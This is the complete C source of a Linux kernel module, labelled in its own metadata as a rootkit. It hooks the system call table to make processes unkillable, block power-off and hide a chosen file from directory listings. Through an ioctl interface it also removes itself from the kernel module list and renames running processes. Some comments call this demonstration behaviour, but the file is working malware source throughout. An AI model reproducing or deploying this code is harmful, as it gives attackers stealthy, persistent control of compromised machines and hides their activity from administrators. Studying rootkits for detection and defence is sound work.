loadable_kernel_module.c

// SPDX-License-Identifier: GPL-2.0-only OR MIT
#include <linux/sched.h>
#include <linux/module.h>
#include <linux/dirent.h>
#include <linux/slab.h>
#include <linux/version.h>
#include <linux/sched/signal.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
#include <linux/cdev.h>
#include <linux/reboot.h>
// for getdents64 hook
#include <linux/fdtable.h>
#include <linux/proc_ns.h>
// strscpy/strcmp/memcmp/strlen/strnlen used below — don't rely on another
// header pulling this in transitively, that chain is not guaranteed stable
// across kernel versions.
#include <linux/string.h>
#include <linux/mutex.h>
// kprobe for kallsyms_lookup_name
#include <linux/kprobes.h>

#include "loadable_kernel_module.h"

// PROC_ROOT_INO was renamed to PROCFS_ROOT_INO in kernel 6.18.
#if LINUX_VERSION_CODE >= KERNEL_VERSION(6, 18, 0)
#define PROC_ROOT_INO PROCFS_ROOT_INO
#endif

#define OURMODNAME "loadable_kernel_module"

MODULE_AUTHOR("Harry Hsu x90613@gmail.com");
MODULE_DESCRIPTION("Linux-Rootkit-LKM");
MODULE_LICENSE("Dual MIT/GPL");
MODULE_VERSION("1.0");

static int change_process_name(const char *orig_name, const char *new_name)
{
	struct task_struct *p = NULL;
	int found = 0;

	// for_each_process requires rcu_read_lock() to safely walk the task list.
	rcu_read_lock();
	for_each_process(p) {
		if (strcmp(p->comm, orig_name) == 0) {
			// strncpy() was removed from the kernel (no NUL-termination guarantee,
			// unconditional zero-padding caused too many bugs); strscpy() always
			// NUL-terminates within the given size and is the in-tree replacement.
			strscpy(p->comm, new_name, sizeof(p->comm));
			found = 1;
			pr_info("Process with original name '%s' found and renamed to '%s'\n", orig_name, new_name);
		}
	}
	rcu_read_unlock();

	return found ? 0 : -1;
}

/* ---- character device state ---- */
static int major;
// Holds the full major/minor-encoded dev_t returned by alloc_chrdev_region,
// so lkm_exit can unregister the exact same region (unregister_chrdev_region
// takes a dev_t, not a bare major number).
static dev_t lkm_dev_no;
static struct cdev *kernel_cdev;

/* ---- file hiding state ---- */
// Points to a static empty string initially; replaced by a kmalloc'd buffer in IOCTL_FILE_HIDE.
// The empty-string sentinel is checked via *hidden_file != '\0' before kfree — do not set to NULL.
static char *hidden_file = "";
// Protects hidden_file against a reader in hacked_getdents64 racing a concurrent
// IOCTL_FILE_HIDE writer: without this, the writer's kfree() of the old buffer
// can run while the reader still holds the stale pointer (use-after-free).
static DEFINE_MUTEX(hidden_file_lock);

/* ---- syscall table / hooking infrastructure ---- */
static struct kprobe kp = {
	.symbol_name = "kallsyms_lookup_name"
};
// the necessary variables that the syscall table requires to access and modify
static unsigned long *__sys_call_table;
static void (*update_mapping_prot)(phys_addr_t phys, unsigned long virt, phys_addr_t size, pgprot_t prot);
static unsigned long start_rodata;
static unsigned long init_begin;
// Size of the read-only data section. Used to temporarily make the syscall table writable.
// Parenthesized so the subtraction stays atomic if this macro is ever combined
// with another operator at a future call site (e.g. `section_size * 2`).
#define section_size (init_begin - start_rodata)

typedef asmlinkage long (*t_syscall)(const struct pt_regs *);
static t_syscall orig_kill;
static t_syscall orig_reboot;
static t_syscall orig_getdents64;

/* ---- module hide state ---- */
static struct list_head *prev_module;
static short hidden;
// Serializes module_hide()/module_show() against each other: without this, two
// concurrent IOCTL_MOD_HIDE calls can both observe the same stale `hidden` value
// and both call list_del()/list_add() on THIS_MODULE->list, corrupting it.
static DEFINE_MUTEX(module_hide_lock);

// Syscall hook Part
static asmlinkage int hacked_reboot(const struct pt_regs *pt_regs)
{
	unsigned int cmd;
	// On arm64: reboot(2) args are magic, magic2, cmd, arg — cmd is the 3rd argument (regs[2]).
	// On x86_64: 3rd syscall argument is in rdx, which maps to regs[2] in pt_regs layout.
	cmd = (unsigned int) pt_regs->regs[2];
	pr_info("enter hacked reboot section.\n");

	if (cmd == LINUX_REBOOT_CMD_POWER_OFF) {
		pr_info("power off command intercepted and denied.\n");
		return 0;
	}

	return orig_reboot(pt_regs);
}

static asmlinkage int hacked_kill(const struct pt_regs *pt_regs)
{
	// On arm64/x86_64: kill(2) signature is kill(pid, sig) — sig is the 2nd argument (regs[1]).
	int sig = (int) pt_regs->regs[1];

	pr_info("enter hacked kill section.\n");

	// Demo behavior: intercept SIGKILL system-wide to show a syscall hook can make
	// any process unkillable. This is intentional for demonstration purposes.
	switch (sig) {
	case 9:
		pr_info("kill signal intercepted and denied.\n");
		break;
	default:
		return orig_kill(pt_regs);
	}
	return 0;
}

static asmlinkage long hacked_getdents64(const struct pt_regs *pt_regs)
{
	// fd and dirent are the first two arguments to getdents64(fd, dirp, count).
	int fd = (int) pt_regs->regs[0];
	struct linux_dirent *dirent = (struct linux_dirent *) pt_regs->regs[1];
	int ret = orig_getdents64(pt_regs), err;
	unsigned short proc = 0;
	unsigned long off = 0;
	struct linux_dirent64 *dir, *kdirent, *prev = NULL;
	struct inode *d_inode;

	if (ret <= 0)
		return ret;

	kdirent = kzalloc(ret, GFP_KERNEL);
	if (kdirent == NULL)
		return ret;

	err = copy_from_user(kdirent, dirent, ret);
	if (err)
		goto out;

	// Access fdtable under rcu_read_lock() as required; validate fd against max_fds
	// before indexing to avoid an out-of-bounds read on a user-controlled fd value.
	rcu_read_lock();
	{
		struct fdtable *fdt = files_fdtable(current->files);
		struct file *f = (fd >= 0 && (unsigned int)fd < fdt->max_fds) ? fdt->fd[fd] : NULL;

		if (f) {
			d_inode = f->f_path.dentry->d_inode;
			if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev))
				proc = 1;
		}
	}
	rcu_read_unlock();

	pr_debug("hidden_file: %s\n", hidden_file);

	// Hold the lock across the whole scan: hidden_file is read (and its contents
	// dereferenced via strlen/memcmp) throughout the loop below, so it must not
	// be freed/reassigned by a concurrent IOCTL_FILE_HIDE until we're done.
	mutex_lock(&hidden_file_lock);
	while (off < ret) {
		bool name_match;

		dir = (void *)kdirent + off;
		// Guard against malformed dirents with d_reclen == 0; advancing by zero loops forever.
		if (dir->d_reclen == 0)
			break;
		// Hide the entry if it's not in /proc and its name matches hidden_file.
		name_match = !proc && hidden_file && *hidden_file != '\0' &&
			memcmp(hidden_file, dir->d_name, strlen(hidden_file)) == 0;
		if (name_match) {
			// First entry: shift remaining dirents left over it, shrink ret.
			if (dir == kdirent) {
				ret -= dir->d_reclen;
				memmove(dir, (void *)dir + dir->d_reclen, ret);
				continue;
			}
			prev->d_reclen += dir->d_reclen;
		} else
			prev = dir;
		off += dir->d_reclen;
	}
	mutex_unlock(&hidden_file_lock);
	err = copy_to_user(dirent, kdirent, ret);
	if (err)
		goto out;
out:
	kfree(kdirent);
	return ret;
}

// hidden module part
static void module_show(void)
{
	/* back to the module list where we remove before */
	list_add(&THIS_MODULE->list, prev_module);
	hidden = 0;
	pr_info("module unhidden\n");
}
static void module_hide(void)
{
	/* Save this module in the list before us, make this module back to the list in the same place later. */
	prev_module = THIS_MODULE->list.prev;
	/* Remove ourselves from the list module list */
	list_del(&THIS_MODULE->list);
	hidden = 1;
	pr_info("module hidden\n");
}


static unsigned long *get_syscall_table(void)
{
	unsigned long *syscall_table;

	typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
	kallsyms_lookup_name_t kallsyms_lookup_name;
	// kallsyms_lookup_name is unexported since kernel 5.7. We recover its address by registering
	// a kprobe on its symbol, reading kp.addr, then immediately unregistering.
	if (register_kprobe(&kp) < 0)
		return NULL;
	kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
	unregister_kprobe(&kp);

	// The parameters to be obtained from kallsyms_lookup_name are generated here.
	syscall_table = (unsigned long *)kallsyms_lookup_name("sys_call_table");
	update_mapping_prot = (void *)kallsyms_lookup_name("update_mapping_prot");
	start_rodata = (unsigned long)kallsyms_lookup_name("__start_rodata");
	init_begin = (unsigned long)kallsyms_lookup_name("__init_begin");

	pr_info("sys_call_table address: %p\n", syscall_table);
	return syscall_table;
}

static inline void protect_memory(void)
{
	update_mapping_prot(__pa_symbol(start_rodata), (unsigned long)start_rodata, section_size, PAGE_KERNEL_RO); // Read - only
	pr_info("Memory protected\n");
}

static inline void unprotect_memory(void)
{
	update_mapping_prot(__pa_symbol(start_rodata), (unsigned long)start_rodata, section_size, PAGE_KERNEL); // Read - write
	pr_info("Memory unprotected\n");
}

static int hook(void)
{
	unprotect_memory();

	__sys_call_table[__NR_reboot] = (unsigned long) &hacked_reboot;
	__sys_call_table[__NR_kill] = (unsigned long) &hacked_kill;
	__sys_call_table[__NR_getdents64] = (unsigned long) &hacked_getdents64;

	protect_memory();
	return 0;
}

/*  --------------------------------------------------  */

static int lkm_open(struct inode *inode, struct file *filp)
{
	pr_debug("%s\n", __func__);
	return 0;
}

static int lkm_release(struct inode *inode, struct file *filp)
{
	pr_debug("%s\n", __func__);
	return 0;
}

static long lkm_ioctl(struct file *filp, unsigned int ioctl, unsigned long arg)
{
	struct hided_file file_info;
	struct masq_proc_req user_req;
	struct masq_proc *req_array;
	int ret = 0;
	size_t i;

	switch (ioctl) {
	case IOCTL_MOD_HOOK:
		hook();
		break;
	case IOCTL_MOD_HIDE:
		mutex_lock(&module_hide_lock);
		if (hidden == 0)
			module_hide();
		else
			module_show();
		mutex_unlock(&module_hide_lock);
		break;
	case IOCTL_MOD_MASQ:
		if (copy_from_user(&user_req, (struct masq_proc_req *)arg, sizeof(struct masq_proc_req)))
			return -EFAULT;

		// Cap user-supplied len to prevent signed/unsigned wrap and excessive allocation.
		if (user_req.len > 256)
			return -EINVAL;

		pr_debug("Received masq_proc_req: len = %zu\n", user_req.len);
		req_array = kmalloc_array(user_req.len, sizeof(struct masq_proc), GFP_KERNEL);
		if (!req_array) {
			pr_info("Memory allocation failed\n");
			return -ENOMEM;
		}

		if (copy_from_user(req_array, user_req.list, user_req.len * sizeof(struct masq_proc))) {
			kfree(req_array);
			return -EFAULT;
		}

		for (i = 0; i < user_req.len; ++i) {
			// Only rename if new_name is strictly shorter than orig_name — prevents overflowing p->comm
			// when strscpy is called in change_process_name.
			// strnlen guards against non-null-terminated user-filled fields.
			if (strnlen(req_array[i].new_name, MASQ_LEN) >= strnlen(req_array[i].orig_name, MASQ_LEN)) {
				pr_debug("Error: New name '%s' should be shorter than original name '%s'\n", req_array[i].new_name, req_array[i].orig_name);
				continue;
			}
			change_process_name(req_array[i].orig_name, req_array[i].new_name);
			pr_debug("Received masq_proc[%zu]: Original name: %s, New name: %s\n", i, req_array[i].orig_name, req_array[i].new_name);
		}

		kfree(req_array);
		break;
	case IOCTL_FILE_HIDE:
		if (copy_from_user(&file_info, (struct hided_file *)arg, sizeof(struct hided_file)))
			return -EFAULT;
		pr_info("Received hidden file: %s, size: %lu\n", file_info.name, file_info.len);
		// Replace hidden_file with a newly allocated buffer holding the filename to suppress from getdents64.
		// Reject zero-length to prevent size_t underflow on the null-terminator write below.
		if (file_info.len == 0 || file_info.len > NAME_LEN)
			return -EINVAL;
		mutex_lock(&hidden_file_lock);
		if (hidden_file && *hidden_file != '\0')
			kfree(hidden_file);
		hidden_file = kmalloc(file_info.len, GFP_KERNEL);
		if (!hidden_file) {
			mutex_unlock(&hidden_file_lock);
			return -ENOMEM;
		}
		memcpy(hidden_file, file_info.name, file_info.len);
		hidden_file[file_info.len - 1] = '\0';
		mutex_unlock(&hidden_file_lock);
		break;
	default:
		ret = -EINVAL;
	}
	pr_debug("%s\n", __func__);
	return ret;
}

/* File operations structure */
static const struct file_operations fops = {
	.open = lkm_open,
	.unlocked_ioctl = lkm_ioctl,
	.release = lkm_release,
	.owner = THIS_MODULE,
};

static int __init lkm_init(void)
{
	int ret;
	dev_t dev;

	/* Allocate a character device structure */
	kernel_cdev = cdev_alloc();
	if (!kernel_cdev)
		return -ENOMEM;
	kernel_cdev->ops = &fops;
	kernel_cdev->owner = THIS_MODULE;

	/* Dynamically allocate a character device region */
	ret = alloc_chrdev_region(&lkm_dev_no, 0, 1, "loadable_kernel_module");
	if (ret < 0) {
		pr_info("major number allocation failed\n");
		cdev_del(kernel_cdev);
		return ret;
	}

	major = MAJOR(lkm_dev_no);
	dev = MKDEV(major, 0);
	pr_info("The major number for your device is %d\n", major);

	/* Register a device structure with the kernel VFS*/
	ret = cdev_add(kernel_cdev, dev, 1);
	if (ret < 0) {
		pr_info("unable to allocate cdev\n");
		cdev_del(kernel_cdev);
		unregister_chrdev_region(lkm_dev_no, 1);
		return ret;
	}

	// get __sys_call_table's address
	__sys_call_table = get_syscall_table();
	if (!__sys_call_table) {
		pr_info("Failed to find sys_call_table\n");
		cdev_del(kernel_cdev);
		unregister_chrdev_region(lkm_dev_no, 1);
		return -ENOENT;
	}

	pr_info("__NR_reboot: %d\n", __NR_reboot);
	pr_info("__NR_kill: %d\n", __NR_kill);
	pr_info("__NR_getdents64: %d\n", __NR_getdents64);

	// To store original syscall table addresses
	orig_reboot = (t_syscall)__sys_call_table[__NR_reboot];
	orig_kill = (t_syscall)__sys_call_table[__NR_kill];
	orig_getdents64 = (t_syscall)__sys_call_table[__NR_getdents64];

	return 0;
}

static void __exit lkm_exit(void)
{
	// Restore all hooked syscalls before unloading. unprotect_memory/protect_memory bracket the writes
	// because the syscall table lives in read-only memory at runtime.
	// Note: no synchronization with in-flight calls to hacked_* — a concurrent syscall may execute
	// the hook after the table entry is restored but before the module text is unmapped (TOCTOU).
	unprotect_memory();

	__sys_call_table[__NR_reboot] = (unsigned long)orig_reboot;
	__sys_call_table[__NR_kill] = (unsigned long) orig_kill;
	__sys_call_table[__NR_getdents64] = (unsigned long) orig_getdents64;

	protect_memory();

	mutex_lock(&hidden_file_lock);
	if (hidden_file && *hidden_file != '\0')
		kfree(hidden_file);
	mutex_unlock(&hidden_file_lock);

	pr_info("%s: removed\n", OURMODNAME);
	cdev_del(kernel_cdev);
	// Must pass the dev_t saved from alloc_chrdev_region, not the bare major
	// number — unregister_chrdev_region(major, 1) silently unregisters the
	// wrong (major=0) region and leaks the real one across insmod/rmmod cycles.
	unregister_chrdev_region(lkm_dev_no, 1);
}

module_init(lkm_init);
module_exit(lkm_exit);